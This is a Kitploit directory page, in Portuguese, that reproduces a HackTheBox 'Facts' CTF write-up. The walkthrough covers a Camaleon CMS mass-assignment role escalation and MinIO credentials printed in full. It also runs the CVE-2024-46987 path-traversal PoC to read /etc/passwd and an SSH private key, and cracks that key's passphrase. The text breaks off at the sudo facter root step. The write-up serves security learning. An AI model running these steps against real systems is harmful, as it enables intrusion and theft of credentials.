Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HackTheBox-Facts — HTB Facts é uma máquina Linux fácil com Camaleon CMS e MinIO. Obtenha acesso admin via registro aberto e uma vulnerabilidade de atribuição em massa, depois extraia credenciais MinIO das configurações de admin. Use o path traversal CVE-2024-46987 para roubar uma chave privada SSH, quebre sua passphrase e escale para root abusando das permissões sudo no facter via GTFOBins. | Kitploit
Ferramentas/GitHubGitHub/suriyaboon/hackthebox-facts
Escalada de PrivilégiosReconhecimentoAtaques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoSegurança na Nuvem

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

HTB Facts é uma máquina Linux fácil com Camaleon CMS e MinIO. Obtenha acesso admin via registro aberto e uma vulnerabilidade de atribuição em massa, depois extraia credenciais MinIO das configurações de admin. Use o path traversal CVE-2024-46987 para roubar uma chave privada SSH, quebre sua passphrase e escale para root abusando das permissões sudo no facter via GTFOBins.

Aprendizado e Educação
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Ver Repositório
20há 16 diasAinda não revisado
Compartilhar

HTB Facts — Writeup Completo

OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, Escalação de Privilégios


Índice

  1. Reconhecimento
  2. Enumeração Web — Porta 80
  3. Descoberta do MinIO — Porta 54321
  4. Camaleon CMS — Acesso Administrativo
  5. Escalação de Privilégios para o Papel de Admin
  6. Descoberta de Credenciais do MinIO
  7. Leitura Arbitrária de Arquivos — CVE-2024-46987
  8. Acesso SSH como trivia
  9. Escalação de Privilégios para Root
  10. Flags

Reconhecimento

Comece com uma varredura completa de portas TCP para identificar os serviços abertos.

nmap -p- --min-rate 5000 -T4 10.129.244.96

Resultados:

PortaServiçoObservações
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321DesconhecidoIdentificado como MinIO

Adicione o alvo ao /etc/hosts:

echo "10.129.244.96 facts.htb" >> /etc/hosts

Enumeração Web — Porta 80

Ao acessar http://facts.htb, encontra-se um site de curiosidades construído sobre o Camaleon CMS (Ruby on Rails). Indicadores principais:

  • Nome do cookie: _factsapp_session (sessão Rails)
  • Caminhos de assets: /assets/themes/camaleon_first/
  • Token CSRF em meta tags
  • Servidor: nginx/1.26.3 (Ubuntu)

Enumere o sitemap para todas as páginas disponíveis:

curl -s http://facts.htb/sitemap.xml

Caminhos notáveis descobertos:

  • /admin → redireciona para /admin/login
  • /rss
  • Várias páginas de curiosidades: /animal-ejected, /anne-frank, etc.

Verifique o painel de login administrativo:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

Descoberta do MinIO — Porta 54321

Sondar a porta desconhecida com curl revela o MinIO, um serviço de armazenamento de objetos compatível com S3:

curl -v http://facts.htb:54321

Resposta:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Os cabeçalhos confirmam: Server: MinIO

Sonde possíveis nomes de buckets (uma resposta 403 sozinha não confirma que um bucket existe):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Todos retornam 403 Forbidden — os buckets existem, mas exigem credenciais.


Camaleon CMS — Acesso Administrativo

Identificando o CMS

A partir dos caminhos de assets e do cookie de sessão, o CMS é identificado como Camaleon CMS.

Verifique vulnerabilidades conhecidas:

searchsploit camaleon

Resultados:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

A versão do painel administrativo é confirmada como 2.9.0 (visível no rodapé após o login).

Criando uma Conta

A página de login administrativo em http://facts.htb/admin/login inclui um link "Create an account". Registre uma nova conta:

  • Navegue até http://facts.htb/admin/users/sign_up
  • Preencha com quaisquer credenciais válidas (por exemplo, test123 / test123)
  • Envie — isso cria uma conta com o papel Client

Após o registro, faça login no painel administrativo. A conta possui privilégios limitados de Client.


Escalação de Privilégios para o Papel de Admin

Vulnerabilidade de Mass Assignment

O Camaleon CMS é vulnerável a um ataque de mass assignment no endpoint de alteração de senha. Ao interceptar a requisição de alteração de senha e injetar um parâmetro password[role], um atacante pode escalar seu próprio papel para admin.

Passos usando o Burp Suite:

  1. Faça login no painel administrativo com a conta Client.
  2. Navegue até Profile → Edit → Change Password.
  3. Digite qualquer nova senha e clique em Process.
  4. Intercepte a requisição POST no Burp Suite.
  5. Anexe &password[role]=admin ao corpo da requisição:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Encaminhe a requisição — a resposta deve ser 200 OK.
  2. Faça login novamente com as credenciais atualizadas.

A conta agora possui privilégios de admin, concedendo acesso total ao painel administrativo do CMS, incluindo Settings, Media e Filesystem Settings.


Descoberta de Credenciais do MinIO

Com acesso administrativo, navegue até:

Settings → General Site → Filesystem Settings

A página revela credenciais do MinIO (compatível com AWS S3) embutidas no código:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configure o AWS CLI e enumere os buckets:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Buckets descobertos:

2025-09-11  internal
2025-09-11  randomfacts

O bucket internal contém o diretório home do usuário trivia:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Leitura Arbitrária de Arquivos — CVE-2024-46987

Alternativamente, a chave privada SSH pode ser obtida via CVE-2024-46987, uma vulnerabilidade de path traversal autenticada no Camaleon CMS que permite a leitura de arquivos arbitrários do servidor.

Clone o PoC público:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Leia arquivos sensíveis:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Saída (linhas relevantes):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Dois usuários são identificados: trivia e william. Como trivia possui um shell de login e um diretório home, verifique a existência de uma chave privada SSH:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Salve a saída da chave em um arquivo:

chmod 600 id_ed25519

Acesso SSH como trivia

Quebrando a Passphrase da Chave SSH

A chave privada SSH está criptografada com uma passphrase. Use ssh2john e john para quebrá-la:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Passphrase quebrada: dragonballz

Login via SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Obtenha a flag de usuário:

cat /home/william/user.txt

Escalação de Privilégios para Root

Permissões Sudo

Verifique os privilégios sudo do usuário trivia:

sudo -l

Saída:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

O usuário pode executar /usr/bin/facter como root sem senha. O facter é uma ferramenta de informações do sistema baseada em Ruby.

GTFOBins — facter

Baixar ferramenta